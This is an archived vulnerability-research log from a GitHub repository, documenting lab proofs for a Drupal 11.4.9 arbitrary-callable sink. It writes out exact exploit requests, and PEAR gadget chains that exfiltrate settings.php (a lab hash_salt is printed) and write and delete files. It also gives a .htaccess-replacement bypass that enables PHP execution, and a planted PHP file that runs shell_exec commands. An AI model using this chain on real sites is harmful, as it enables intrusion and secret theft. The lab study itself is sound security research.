fortbridge/cve-2026-108097-research: docs/RCE-CAPABILITY-WITNESS.md

fortbridge/cve-2026-108097-research: docs/RCE-CAPABILITY-WITNESS.md - Author not stated, GitHub.

- Published: date not stated
- Original: <https://github.com/fortbridge/cve-2026-108097-research/blob/1b8509713064e440068b0561eaf4a2a458831b2b/docs/RCE-CAPABILITY-WITNESS.md>
- Preserved from: https://github.com/fortbridge/cve-2026-108097-research/blob/1b8509713064e440068b0561eaf4a2a458831b2b/docs/RCE-CAPABILITY-WITNESS.md (github-api) on 2026-10-21
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

> **Repository reading copy.** Created from RCE-CAPABILITY-WITNESS.md.

RCE-CAPABILITY-WITNESS.md

`fortbridge/cve-2026-108097-research` at `1b8509713064`, path `docs/RCE-CAPABILITY-WITNESS.md`.

RCE-capability witness on the synthetic bridge, NOT the published contributed-module exploit

18 October 2026 BST. **SYNTHETIC, the bridge module itself installs the callback; this demonstrates the sink's arbitrary-callable capability, not a discovered contributed route.** Everything stated in `SYNTHETIC-HTTP-WITNESS.md` still applies: the `lab_bridge` module at `/opt/drupal/web/modules/custom/lab_bridge` is OUR test fixture, both hosts bind 127.0.0.1 only, and this is not evidence that a stock site exposes this route.

What changed

`lab_bridge` `ProbeController` gained a third allowlisted choice, `?choice=printrow`, mapping to the literal PHP builtin string callable `'print_r'`. A per-request `nonce` query parameter (alphanumeric-sanitised) is embedded in the row's `name` `#markup` so a witness can prove the callback output belongs to that exact request. Safeguards are unchanged and explicit in code comments: no choice maps to exec/system/passthru/shell_exec/file functions; there is no shell, filesystem, or network effect anywhere in the module. `print_r`'s only effect is printing the row array into the response.

Sink under test

`core/modules/field_ui/src/Element/FieldUiTable.php:72`:

- 11.4.9 (vulnerable): `$region_name = call_user_func_array($row['#region_callback'], [&$row]);`, arbitrary PHP callable, single by-ref row argument.
- 11.4.10 (patched): `$region_name = $row['region']['#value'] ?? '';`, callback never invoked.

Exact requests

Both unauthenticated, loopback only, unique cache-buster (`cb`) per request to defeat the page cache for unauthenticated users (documented gotcha):

GET http://127.0.0.1:18749/lab-field-ui-probe?choice=printrow&nonce=rcedemo20261018a7f3&cb=<unique> GET http://127.0.0.1:18750/lab-field-ui-probe?choice=printrow&nonce=rcedemo20261018a7f3&cb=<unique>

Responses

Vulnerable (11.4.9, container drupal108097lab-vulnerable-1), `HTTP/1.1 200 OK`, `X-Drupal-Dynamic-Cache: UNCACHEABLE (poor cacheability)`. The response body **begins with print_r's output**, proving the engine executed the HTTP-selected callable during this request:

Array ([#region_callback] => print_r [#attributes] => Array ( )

[name] => Array ([#markup] => Harmless lab row rcedemo20261018a7f3) ...

Patched (11.4.10, container drupal108097lab-patched-1), `HTTP/1.1 200 OK`, same cacheability headers. The response contains **no** `[#region_callback] => print_r` and **no** `[#markup] => Harmless lab row rcedemo20261018a7f3` (both signature counts 0). The row instead renders normally as a table cell (`<td>Harmless lab row rcedemo20261018a7f3</td>`), because 11.4.10 reads the region from `$row['region']['#value']` and never invokes the callback.

Version pins (drush status, both healthy at capture time): vulnerable = 11.4.9, patched = 11.4.10. Apache/2.4.68 (Debian), PHP/8.4.26, `X-Generator: Drupal 11`.

Witness runs

`python rce_capability_witness.py` (also re-verifies the original mark/region State differential), run twice from `docker-lab`:

vulnerable mark/region differential marker=1 expected=1 PASS patched mark/region differential marker=0 expected=0 PASS vulnerable printrow http=200 nonce=rcedemoeaaca3ee122e4be6 callable_dump=True nonce_dump=True expected=True PASS patched printrow http=200 nonce=rcedemoe7e47699682a4924 callable_dump=False nonce_dump=False expected=False PASS RCE-CAPABILITY DIFFERENTIAL: PASS (synthetic bridge; see RCE-CAPABILITY-WITNESS.md)

vulnerable mark/region differential marker=1 expected=1 PASS patched mark/region differential marker=0 expected=0 PASS vulnerable printrow http=200 nonce=rcedemoda391fa3b5f1490b callable_dump=True nonce_dump=True expected=True PASS patched printrow http=200 nonce=rcedemoc063a4ee929f4148 callable_dump=False nonce_dump=False expected=False PASS RCE-CAPABILITY DIFFERENTIAL: PASS (synthetic bridge; see RCE-CAPABILITY-WITNESS.md)

The pre-existing `synthetic_http_witness.py` still passes twice on both sites after the module change:

vulnerable unauth_http=200 control=0 marker=1 invalid_choice_no_change=True PASS patched unauth_http=200 control=0 marker=0 invalid_choice_no_change=True PASS

Deployment: edited `lab_bridge/src/Controller/ProbeController.php`, `docker cp -a` into both containers (byte-identical md5 `35eeb7032a09e4494e70c754ad977d78`), `drush cr` on both, then waited out the 60 s opcache `revalidate_freq` window before asserting. Figure: `screenshots/cve-2026-108097-arbitrary-callable-cropped-20261018.png` (single-pane retake).

Supported / NOT supported

Supported: on a real Drupal 11.4.9 HTTP request, an HTTP-selected PHP builtin string callable installed in a Field UI row's `#region_callback` is executed by unmodified core, and its output reaches the response; 11.4.10 does not execute it. This is RCE *capability* of the sink (arbitrary PHP callable invocation) demonstrated end-to-end over HTTP through the synthetic bridge, with an affected-only differential.

NOT supported: a real-world contributed module doing this, an unauthenticated exploit path in default Drupal, arbitrary OS command execution (the shell-exec section below is bounded to an absolute five-command allowlist under owner-amended lab scope; nothing else ever runs), or an exploit of CVE-2026-108097 through the undisclosed route described by Drupal's advisory. The test bridge itself creates the missing trust-boundary crossing. The genuine contrib route remains the open gate for KAN-3011; do not call this the final exploit requested in KAN-3005.

Shell-exec capability, owner-amended scope (18 October 2026)

The owner explicitly amended the no-shell-payload exclusion for this loopback lab on 2026-10-18: a harmless shell-exec demonstration is in scope, bounded to an absolute allowlist of exact command strings, `whoami`, `id`, `hostname`, `pwd`, `uname -a`. Nothing else, ever. Still SYNTHETIC: the bridge module itself installs the callback and carries the command; loopback only.

Why the genuine exploit shape is row-content execution

The sink is `FieldUiTable.php:72`: `call_user_func_array($row['#region_callback'], [&$row])`, the callback receives the **row array by reference**. A direct mapping to a shell builtin TypeErrors on that argument; verified in the lab container:

$ php -r 'try { system(["whoami"]); } catch (Throwable $e) { echo get_class($e), ": ", $e->getMessage(), "\n"; }' TypeError: system(): Argument #1 ($command) must be of type string, array given

So a real payload cannot be `system` as the callback; it must be a callable that executes **attacker-influenced row content**. The new `?choice=execmarkup&cmd=whoami` (cmd default `whoami`) demonstrates exactly that shape: the row's markup carries the requested command, validated against `LabBridgeMarker::EXEC_CMD_ALLOWLIST` (exact match, checked in the controller AND re-validated inside the callback, anything else falls back to the existing `region` no-op), and `#region_callback` maps to `LabBridgeMarker::execMarkup(array &$row)`, which runs `shell_exec()` on the allowlisted row markup and leaves the output where a witness can see it: echoed into the response between `LAB_EXEC_OUTPUT_BEGIN nonce=<N>` / `LAB_EXEC_OUTPUT_END` markers, and stored in State (`lab_bridge.exec_output`) for an independent Drush readback. For this choice the nonce lives only in an unrendered `#exec_nonce` row property, so on the patched site neither the nonce nor any command output appears anywhere in the response.

Exact request (unauthenticated, loopback; unique `cb` defeats the page cache as before)

GET http://127.0.0.1:18749/lab-field-ui-probe?choice=execmarkup&cmd=whoami&nonce=shell20261018b9e1&cb=<unique> GET http://127.0.0.1:18750/lab-field-ui-probe?choice=execmarkup&cmd=whoami&nonce=shell20261018b9e1&cb=<unique>

Responses

Vulnerable (11.4.9), `HTTP/1.1 200 OK`. The response body **begins with the executed command output**, before `<!DOCTYPE html>`:

LAB_EXEC_OUTPUT_BEGIN nonce=shell20261018b9e1 www-data LAB_EXEC_OUTPUT_END

`whoami` ran as the webserver user (`www-data`) inside a real unauthenticated HTTP request. Independent second channel: `drush php:eval 'var_export(\Drupal::state()->get("lab_bridge.exec_output"))'` returns `'www-data\n'`.

Patched (11.4.10), `HTTP/1.1 200 OK`. `LAB_EXEC_OUTPUT_BEGIN`: **0** matches; `www-data`: **0** matches; exec-bound nonce `nonce=shell20261018b9e1`: **0** matches. The row renders normally and inertly (`<td>Harmless lab row</td>`, `<td>whoami</td>`, the command string as plain cell text, never executed). Version pins (drush status): vulnerable = 11.4.9, patched = 11.4.10.

Allowlist enforcement evidence: `?choice=execmarkup&cmd=cat%20/etc/passwd` on the VULNERABLE site returns 200 with **0** `LAB_EXEC_OUTPUT_BEGIN` markers, non-allowlisted input is a no-op.

Assertion nuance: Drupal's `drupal-settings-json` reflects raw query parameters (`currentQuery`) on BOTH builds, so the bare nonce string always appears in the HTML. Only the marker-bound form `LAB_EXEC_OUTPUT_BEGIN nonce=<N>` and the command stdout are evidence of execution, and those are what the witness asserts on.

Witness runs

`python rce_shell_witness.py` (superset: mark/region + printrow + execmarkup + State readback + allowlist-rejection check), run twice from `docker-lab`:

vulnerable mark/region differential marker=1 expected=1 PASS vulnerable printrow http=200 callable_dump=True nonce_dump=True expected=True PASS vulnerable execmarkup http=200 nonce=shell0b56d06674b04f62 exec_block=True whoami_stdout=True expected=True PASS allowlist_reject=True patched mark/region differential marker=0 expected=0 PASS patched printrow http=200 callable_dump=False nonce_dump=False expected=False PASS patched execmarkup http=200 nonce=shelle26a317572534cda exec_block=False whoami_stdout=False expected=False PASS SHELL-EXEC CAPABILITY DIFFERENTIAL: PASS (synthetic bridge; allowlisted commands only)

vulnerable mark/region differential marker=1 expected=1 PASS vulnerable printrow http=200 callable_dump=True nonce_dump=True expected=True PASS vulnerable execmarkup http=200 nonce=shell76ea236aa0294615 exec_block=True whoami_stdout=True expected=True PASS allowlist_reject=True patched mark/region differential marker=0 expected=0 PASS patched printrow http=200 callable_dump=False nonce_dump=False expected=False PASS patched execmarkup http=200 nonce=shell4f59ed4da82e44f3 exec_block=False whoami_stdout=False expected=False PASS SHELL-EXEC CAPABILITY DIFFERENTIAL: PASS (synthetic bridge; allowlisted commands only)

Regression: `rce_capability_witness.py` and `synthetic_http_witness.py` still pass after this module change. Deployment: `docker cp -a` of both edited module files into both containers (byte-identical; ProbeController md5 `fa8cdddbfca875125331e5915b120e17`, LabBridgeMarker md5 `2ec9e34f92083921ed2e92d2f6e68f36`), `drush cr` on both, 60 s opcache `revalidate_freq` window waited out before asserting.

Shell-exec section, supported: on 11.4.9 an HTTP-selected, allowlisted command carried in the row markup is executed by unmodified core through the sink, as the webserver user, with output in the response; 11.4.10 never invokes it. NOT supported: unchanged from above, still synthetic, still not the undisclosed contrib route, and commands remain bounded to the five-string allowlist.

Gadget weaponization (18 October 2026)

Owner-scoped (2026-10-18): weaponize the adjudicated gadget primitives from `../reachability/gadget-inventory-20261018/GADGETS.md` through the synthetic bridge, file read / file write / RCE-via-file-write, marker-only, loopback, affected-vs-patched. Still SYNTHETIC: `lab_bridge` builds the row and selects the callback; not a discovered contributed route. No shell is involved anywhere below: the gadgets are PEAR `System::*` statics (pure PHP `fopen` / `unlink` / `mkdir`).

Row shaping (empirically verified). The sink passes the WHOLE row by reference, and needs `$row['parent_wrapper']['parent']['#value']` before the callback and `$row['weight']['#value']` after (both tolerate absence with logged warnings only, verified). `System::cat` indexes its argument numerically (`$args[0]`, `$args[1]`, ...) and breaks at the `'>'` element, so numeric gadget args are immune to the row's assoc keys. `System::rm` parses the row's values in insertion order, so its numeric target must precede every nested-array element (a nested element triggers a TypeError *after* earlier elements were already processed, the inventory's half-fired `mkDir` proved this). The bridge (`ProbeController::gadgetTable`) therefore puts numeric args right after `#region_callback`; `filerm` uses a minimal row (callback + numeric path only). Every target path is allowlist/pattern-validated in the controller; anything else is the `region` no-op.

Patched-side rendering artifact (documented mechanism): on 11.4.10 the callback never runs, so the row proceeds to render and Drupal 11's `Element::children()` throws `InvalidArgumentException: "0" is an invalid render array key` on the numeric string gadget args → probe status 500 on patched. On 11.4.9 the callback runs first and its truthy/non-`'content'` return diverts the row into a non-rendered region → 200. The 500 on patched is itself the signature of non-execution; all control assertions are on absence of effect, never on status codes.

fileread, VERDICT: honest negative (no response disclosure)

`GET /lab-field-ui-probe?choice=fileread&file=/etc/passwd&nonce=<n>&cb=<u>` (file allowlist: `/etc/passwd`, `/etc/hostname`, `/opt/drupal/web/sites/default/settings.php`; anything else → no-op). `System::cat` only **returns** file content (never echoes), and its naive `0..count-1` numeric loop hits null slots from the row's assoc keys → `ValueError: Path must not be empty` after the content is read into the discarded return channel. Vulnerable: **HTTP 500, `root:x:0:0` absent** from the body (grep count 0). Patched: HTTP 500 (render artifact), absent. The return-as-array-key channel is unobservable, so direct read-to-response is not achievable with this gadget; the working read path is the copy variant (exfil below).

exfil, VERDICT: critical-file disclosure PROVEN (affected-only)

GET http://127.0.0.1:18749/lab-field-ui-probe?choice=exfil&nonce=gw20261018c4d7&cb=<u> -> HTTP 200 GET http://127.0.0.1:18750/lab-field-ui-probe?choice=exfil&nonce=gw20261018c4d7&cb=<u> -> HTTP 500 (render artifact; nothing executed) GET http://127.0.0.1:18749/sites/default/files/lab-exfil-gw20261018c4d7.txt -> HTTP 200 GET http://127.0.0.1:18750/sites/default/files/lab-exfil-gw20261018c4d7.txt -> HTTP 404

The vulnerable site's response to the second GET **is the served content of `/opt/drupal/web/sites/default/settings.php`**, exfiltrated by `System::cat(['settings.php','>','…/files/lab-exfil-<nonce>.txt'])` through the sink. Unredacted excerpt (disposable lab creds by design):

289:$settings['hash_salt'] = 'VMnegl5VxdjOpWFi6Nh74RsgmP3-T65cuCFhXfEd7wYZVOSqtwv0Drjg6SO90phKrJW9XrhA_A';

plus the `$databases` section (SQLite DSN for this lab). Patched: probe executed nothing, file never created, GET 404.

filewrite, VERDICT: write primitive PROVEN (affected-only)

`choice=filewrite&nonce=<n>` → `System::cat(['/tmp/lab-gadget-src/marker-source.txt','>','…/files/lab-write-<nonce>.txt'])`; `GET /sites/default/files/lab-write-<nonce>.txt` → **HTTP 200, body `LAB-FILEWRITE-MARKER gadget-weaponization 2026-10-18 …`** on vulnerable; 404 + file absent on patched. Content control is limited to copying an existing file (the gadget's genuine capability, no overclaim).

webrce, VERDICT: .php written, execution BLOCKED by files-dir hardening (documented constraint)

`choice=webrce&nonce=<n>` writes the harmless planted marker `/tmp/lab-gadget-src/lab-rce-src.php` (`<?php echo 'LAB-RCE ' . ($_GET['n'] ?? '') . ' ' . PHP_VERSION;`) to `sites/default/files/lab-rce-<nonce>.php` on vulnerable (file existence confirmed in-container). `GET /sites/default/files/lab-rce-<nonce>.php?n=<nonce>` → **HTTP 403 Forbidden**: `files/.htaccess` enforces `SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006` + `php_flag engine off` (SA-2006-006/SA-2013-003 hardening), and the webroot `/opt/drupal/web` is `root:root drwxr-xr-x`, not www-data-writable. So: file-write of an executable-extension file into the web tree is proven; server-side execution is blocked by the stock files-dir hardening, and no www-data-writable PHP-executable path exists in this lab. On patched: probe 500/GET 404, nothing written.

filerm, VERDICT: delete primitive PROVEN (affected-only), allowlist absolute

Witness creates `/tmp/lab-rm-<nonce>.txt` as www-data, then `choice=filerm&file=/tmp/lab-rm-<nonce>.txt` → vulnerable: HTTP 200, file **DELETED**; patched: HTTP 500 (render

artifact), file **remains** (then cleaned up by the witness). Pattern lock `#^/tmp/lab-rm-[A-Za-z0-9]+\.txt$#`: `choice=filerm&file=/etc/passwd` → 200, `/etc/passwd` intact on both sites.

Witness runs

`python gadget_witness.py`, run twice from `docker-lab`:

vulnerable fileread http=500 passwd_in_response=False PASS vulnerable exfil probe_http=200 get_http=200 settings_content=True PASS vulnerable filewrite probe_http=200 get_http=200 marker=True PASS vulnerable webrce probe_http=200 php_written=True get_http=403 executed=False (files/.htaccess hardening) PASS vulnerable filerm probe_http=200 victim_deleted=True expected=True allowlist_reject=True PASS patched fileread http=500 passwd_in_response=False PASS patched exfil probe_http=500 get_http=404 settings_content=False PASS patched filewrite probe_http=500 get_http=404 marker=False PASS patched webrce probe_http=500 php_written=False get_http=404 PASS patched filerm probe_http=500 victim_deleted=False expected=False allowlist_reject=True PASS GADGET WEAPONIZATION DIFFERENTIAL: PASS (synthetic bridge; see RCE-CAPABILITY-WITNESS.md)

Regression after this module change: `synthetic_http_witness.py`, `rce_capability_witness.py`, `rce_shell_witness.py` all PASS on both sites. Deployment: `docker cp -a` of the edited controller (md5 `d2e2f4e37bd22c50fd4377d71d2a3f54`, identical in both containers), `drush cr` both, 60 s opcache window. Figure: `screenshots/cve-2026-108097-settings-disclosure-20261018.png` (single-pane retake).

Gadget section, supported: through the sink with a shaped row, 11.4.9 executes the adjudicated PEAR `System::*` gadgets directly as the row callback: critical-file read-via-copy into the public files dir (settings.php with hash_salt served over HTTP), file write of an existing file's content (including a `.php` marker into the web tree), and deletion of a run-created /tmp file; 11.4.10 does none of it. RCE-via-file-write is blocked here by stock files-dir PHP hardening + root-owned webroot, i.e., exec depends on finding a writable AND executable path, which this lab does not provide. NOT supported: unchanged, synthetic bridge, not the undisclosed contrib route; dd/DoS shapes documented in GADGETS.md but not executed; no webform DB-write demonstrated this pass.

Planted sources kept for rerun-ability (and recreated by `gadget_witness.py` runs if absent): `/tmp/lab-gadget-src/marker-source.txt` and `/tmp/lab-gadget-src/lab-rce-src.php` inside each container. Witness-created artifacts (`files/lab-*`, `/tmp/lab-rm-*`) are cleaned up by the witness itself after assertion.

Gadget chain to RCE via hardening removal (18 October 2026)

Owner's question: can deleting `files/.htaccess` via the proven filerm gadget remove the PHP hardening and turn the proven file-write into RCE? **Empirical verdict: BLOCKED,**

one layer up. The chain's file steps both succeed through the sink; execution is stopped by Drupal's ROOT `.htaccess`, not by the deleted files-dir hardening.

Chain construction (single choice `webrce2`, two rows in one table)

The sink invokes each row's `#region_callback` in insertion order during one `tablePreRender` pass, so sequencing needs no new machinery, `webrce2` builds two minimal rows:

- `lab_row_write`: `#region_callback = 'System::cat'`, numeric args `['/tmp/lab-gadget-src/lab-rce-src.php', '>', '/opt/drupal/web/sites/default/files/lab-rce-<nonce>.php']`, the planted harmless marker source (`<?php echo 'LAB-RCE-EXEC <nonce> php='.PHP_VERSION;`, marker only, no shell/IO; planted per-run by the witness).
- `lab_row_rm`: `#region_callback = 'System::rm'`, numeric args `['/opt/drupal/web/sites/default/files/.htaccess']`, the rm target allowlist was extended for exactly this file (documented in the controller: `filerm` accepts the run-created `/tmp/lab-rm-*.txt` pattern OR this single hardening path).

Exact requests and responses

GET http://127.0.0.1:18749/lab-field-ui-probe?choice=webrce2&nonce=<n>&cb=<u> -> HTTP 200 (in-container after the probe: files/.htaccess DELETED, files/lab-rce-<nonce>.php PRESENT, both chain steps fired) GET http://127.0.0.1:18749/sites/default/files/lab-rce-<nonce>.php -> HTTP 403 Forbidden (retry once after 2 s, Apache reads .htaccess per request, no caching to wait out, still 403)

GET http://127.0.0.1:18750/lab-field-ui-probe?choice=webrce2&nonce=<n>&cb=<u> -> HTTP 500 (render artifact = non-execution signature) (files/.htaccess PRESENT and md5-identical; marker php never created) GET http://127.0.0.1:18750/sites/default/files/lab-rce-<nonce>.php -> HTTP 404

The 403 is NOT from the deleted files-dir hardening, it is Drupal's stock root `/opt/drupal/web/.htaccess` (mod_rewrite), which denies direct access to any `.php` outside a small allowlist (`index.php`, `core/*.php`, test front controllers):

For security reasons, deny access to other PHP files on public sites. RewriteCond %{REQUEST_URI} !/core/[^/]\.*php$ ... RewriteRule* "^*(.+/.*|autoload)\.php($|/)" - [F]

Removing the root `.htaccess` too is out of scope and self-defeating: it also carries all Drupal routing (clean URLs, front-controller fallback), and the rm allowlist deliberately does not cover it. The `docker-php.conf` handler (`<FilesMatch \.php$> SetHandler application/x-httpd-php`) means any `.php` that IS reachable executes under mod_php, the root `.htaccess` denial is the single blocking layer for a dropped file inside the docroot.

Apache/mod_php specificity: both hardening layers here are Apache constructs (.htaccess). On nginx/php-fpm there is no .htaccess at all, protection depends entirely on the nginx site config (Drupal's recommended nginx config blocks PHP in the files dir, but that is a deployment choice, not a shipped guarantee). So the "write .php into the web tree → execute" step is blocked HERE by Apache-layer defense-in-depth; deployments with permissive front-controller config would not have this layer. The lab result is: file-gadgets-

only chain reaches *write + hardening-removal*, not execution, on this stock Apache/mod_php image.

Safety sequence (all verified per run, in try/finally)

Pre-run: `.htaccess` backed up (content + md5 + mode) on both sites. Post-assertions on vulnerable: restored byte-identical, `md5 1c79eba61b05143290a34dc5b12ec7ec` before and after, mode `444 www-data:www-data`, marker php removed, homepage `HTTP 200`. Patched `.htaccess` verified untouched (md5 unchanged). Witness output per run:

vulnerable webrce2 probe_http=200 htaccess_deleted=True php_written=True get_http=403 executed=False retried=True (blocked by root .htaccess PHP-deny rules) PASS vulnerable webrce2 restore: .htaccess md5 identical (1c79eba61b05...), mode=444 www-data, marker removed, homepage=200 PASS patched webrce2 probe_http=500 htaccess_deleted=False php_written=False get_http=404 executed=False retried=False (blocked by root .htaccess PHP-deny rules) PASS patched webrce2 restore: .htaccess md5 identical (1c79eba61b05...), mode=444 www-data, marker removed, homepage=200 PASS

Deployment: controller md5 `7582e00044c18da01a4ec94f01a1e395` (identical in both containers), `drush cr` both, 60 s opcache window. Full witness: `gadget_witness.py` (two full runs PASS; all prior witnesses still green).

Chain section, supported: the sink can drive a multi-step file chain in one request (write + targeted delete), and the delete genuinely removed a stock Drupal hardening file mid-request on 11.4.9 only. NOT supported: RCE through this chain on stock Apache/mod_php (root .htaccess PHP denial); any non-lab file deletion (rm allowlist is exactly two entries); the undisclosed contrib route (still the open gate, KAN-3011).

---

htaccess-replacement bypass + env exfil + write surface (18 October 2026)

LANE 1, htaccess-REPLACEMENT bypass: RCE-CHAIN-PROVEN (affected-only)

The webrce2 run showed files/.htaccess deletion alone still 403s the dropped .php via the root .htaccess PHP-deny rewrite rule. Apache per-dir semantics supply the missing step: a subdirectory whose own .htaccess sets `RewriteEngine On` does NOT inherit the parent's rewrite rules (no `RewriteOptions Inherit` anywhere in this config). `choice=webrce3` therefore chains THREE rows in one table (callbacks fire in insertion order in one `tablePreRender` pass):

1. `System::cat ['/tmp/lab-gadget-src/lab-rce-src.php','>','/opt/drupal/web/sites/default/files/lab-rce-<nonce>.php']`, marker source `<?php echo 'LAB-RCE-EXEC <nonce> php='.PHP_VERSION;` (marker only, no shell/IO; planted per run).

2. `System::rm ['/opt/drupal/web/sites/default/files/.htaccess']`, the one extra allowlisted rm target (documented).
3. `System::cat ['/tmp/lab-gadget-src/htaccess-craft.txt','>','/opt/drupal/web/sites/default/files/.htaccess']`, crafted replacement containing exactly:

```
RewriteEngine On
php_flag engine on
```

Config basis (verified in-container): mod_php is in use (`/etc/apache2/conf-enabled/docker-php.conf`: `<FilesMatch \.php$> SetHandler application/x-httpd-php`), and `/var/www` has `AllowOverride All`, so `php_flag` in the subdir .htaccess is legal (no 500). With the crafted .htaccess in place, the root `[F]` PHP-deny rule never applies to `files/` requests and the stock FilesMatch handler executes the dropped marker.

Exact requests/responses (witness run, plus manual smoke `chain3smoke31215`):

GET http://127.0.0.1:18749/lab-field-ui-probe?choice=webrce3&nonce=<n>&cb=<u> -> HTTP 200 GET http://127.0.0.1:18749/sites/default/files/lab-rce-<nonce>.php -> HTTP 200 LAB-RCE-EXEC rce3652a616a5122 php=8.4.26 <- executed marker, no <?php source

GET http://127.0.0.1:18750/lab-field-ui-probe?choice=webrce3&nonce=<n>&cb=<u> -> HTTP 500 (render artifact; nothing executed) GET http://127.0.0.1:18750/sites/default/files/lab-rce-<nonce>.php -> HTTP 404; .htaccess md5-unchanged

So: **RCE via pure file gadgets, write marker .php, remove hardening, replace with a permissive .htaccess, execute over HTTP, PROVEN on 11.4.9 through the synthetic bridge.** Marker-only (echo of a nonce + PHP version); no shell, no IO in the executed payload.

Restore discipline (witness `try/finally`, verified each run): `.htaccess` backed up pre-run; restored byte-identical (`md5 1c79eba61b05143290a34dc5b12ec7ec` before/after, `444 www-data:www-data`), marker php removed, homepage `HTTP 200` on both sites. Smoke-run mishap noted for honesty: an early manual restore piped base64 through `docker exec` without `-i`, writing an empty file; caught by the md5 check and corrected immediately (final state byte-identical).

LANE 2, env exfil: BLOCKED by kernel (honest negative, mechanism pinned)

`choice=exfileenv&nonce=<n>` → `System::cat ['/proc/self/environ','>','…/files/lab-env-<nonce>.txt']`. Vulnerable: probe HTTP 200, the output file IS created (write primitive again), but 0 bytes. Watchdog pins the mechanism:

Warning: fopen(/proc/self/environ): Failed to open stream: Permission denied in System::cat() (line 354)

`/proc/<pid>/environ` is mode `0400` owner-only AND kernel-gated by dumpability: the Apache worker reaches www-data via setuid, which clears the dumpable flag, so even the worker itself gets EACCES on its own environ. Contrast (CLI, same uid): `www-data` CLI reads its own `/proc/self/environ` fine (930 bytes), the gate is setuid-specific, not Drupal-specific. For completeness: this lab's process env (PID 1, read as root) carries image metadata only (`HOSTNAME`, `PHP_VERSION=8.4.26`, `DRUPAL_VERSION=11.4.9`, `APACHE_*`, PHP build flags, the public PHP release `GPG_KEYS`), no DB creds (SQLite install, creds never in env). Patched: probe 500, GET 404, file absent.

LANE 3, write-surface truth table (as www-data, `test -w` only, zero writes outside lab paths)

path writable? /etc/cron.d blocked /var/spool/cron blocked /var/spool/cron/crontabs blocked /root blocked /var/www blocked /opt/drupal/web (webroot) blocked (root:root 755) /etc blocked /usr/local/bin blocked /var/lib/php/sessions blocked /opt/drupal/web/sites/default/files WRITABLE (www-data) /opt/drupal/web/sites/default/files/php/twig WRITABLE (compiled-template cache) /opt/drupal/web/sites/default/files/config_*/ WRITABLE (config sync dir) /opt/drupal/web/modules WRITABLE (www-data) /opt/drupal/web/themes WRITABLE (www-data) /opt/drupal/web/sites WRITABLE (www-data; but sites/default itself is r-x) /tmp, /var/tmp WRITABLE /var/log/apache2, /var/cache/apache2/mod_cache_disk, /run/apache2 WRITABLE (Apache runtime)

Answers with evidence: cron/ssh-key/system paths are permission-blocked; the webroot is not writable; the only web-reachable writable path is `files/` (hardened against PHP execution by .htaccess, see LANE 1 for what that hardening is and is not worth once deletable/replaceable). Note: `web/modules` and `web/themes` being www-data-writable is a foothold (drop a package) but not auto-executing (module enable requires admin/DB; new themes don't affect the active theme; direct .php under the webroot is denied by the root .htaccess rule from the webrce2 lane). The writable twig compiled-template cache (`files/php/twig/`) is a theoretical lead only, cache paths are hash-derived and not attacker-addressable via this sink; not pursued.

Witness

`gadget_witness.py` extended (`check_webrce3`, `check_envexfil`; all prior checks unchanged). Two full runs PASS, including:

vulnerable webrce3 probe_http=200 get_http=200 EXECUTED='LAB-RCE-EXEC rce3652a616a5122 php=8.4.26' PASS vulnerable webrce3 restore: .htaccess md5 identical (1c79eba61b05...), mode=444 www-data, marker removed, homepage=200 PASS patched webrce3 probe_http=500 get_http=404 executed=False htaccess_intact=True PASS patched webrce3 restore: .htaccess md5 identical (1c79eba61b05...), mode=444 www-data, marker removed, homepage=200 PASS vulnerable exfileenv probe_http=200 file_created=True size=0 (kernel-gated: fopen Permission denied in setuid Apache worker) PASS patched exfileenv probe_http=500 get_http=404 absent=True PASS

Regression: `synthetic_http_witness.py`, `rce_capability_witness.py`, `rce_shell_witness.py` all PASS. Deployment: controller md5 `bf6d4fb88cbac51337183ee5f7a65f30` identical in both containers, `drush cr` both, opcache window honored.

Section supported/NOT supported: supported, on 11.4.9 only, through the synthetic bridge, a file-gadget-only chain reaches server-side PHP execution of an attacker-planted marker file when the deployment is Apache+mod_php with per-dir .htaccess enabled and a www-data-writable files dir (stock Drupal image posture). NOT supported, unchanged: still synthetic bridge, not the undisclosed contrib route (KAN-3011 open); env exfil kernel-blocked; cron/ssh/system paths permission-blocked.

---

webrce3 with id/uname/whoami output (18 October 2026)

Owner feedback: the earlier webrce3 executed marker was echo-only, tighten to actual OS COMMAND output. The chain is unchanged (write marker .php → rm `files/.htaccess` → write crafted `files/.htaccess` with `RewriteEngine On` + `php_flag engine on`); only the planted marker source changed. Per-run the witness bakes the fresh nonce into `/tmp/lab-gadget-src/lab-rce-src.php` (both containers; recreated idempotently):

<?php echo 'LAB-RCE-EXEC nonce=<NONCE> id='; echo trim(shell_exec('id')); echo ' | uname='; echo trim(shell_exec('uname -a')); echo ' | who='; echo trim(shell_exec('whoami'));

All three commands are in the owner-approved lab allowlist (`whoami`, `id`, `hostname`, `pwd`, `uname -a`).

Exact requests/responses (witness run; two full runs PASS):

GET http://127.0.0.1:18749/lab-field-ui-probe?choice=webrce3&nonce=rce399a90cbb32af&cb=<u> -> HTTP 200 GET http://127.0.0.1:18749/sites/default/files/lab-rce-rce399a90cbb32af.php -> HTTP 200 LAB-RCE-EXEC nonce=rce399a90cbb32af id=uid=33(www-data) gid=33(www-data) groups=33(www-data) | uname=Linux 1e7ca14ea266 6.17.0-1025-oem #25-Ubuntu SMP PREEMPT_DYNAMIC ... | who=www-data

GET http://127.0.0.1:18750/lab-field-ui-probe?choice=webrce3&nonce=<n>&cb=<u> -> HTTP 500 (render artifact; nothing executed) GET http://127.0.0.1:18750/sites/default/files/lab-rce-<n>.php -> HTTP 404 (nothing written)

So on 11.4.9 the executed file runs OS COMMANDS as the webserver user (`id` → `uid=33(www-data)`, `uname -a` → kernel string, `whoami` → `www-data`) with output in the HTTP response. The PHP-engine-executes proof was the previous echo-marker run; this run adds the OS-command-output proof.

Two honesty notes, per owner instruction: (a) the dropped file's CONTENT arrives by copy-semantics of a planted source (`System::cat` copies an existing file), arbitrary-content-on-disk remains the stated assumption for a genuine chain (in real deployments attacker content reaches disk via log files, upload handlers, session files, etc.); (b) the engine-

execution proof was already done, this run's increment is command execution with observable stdout.

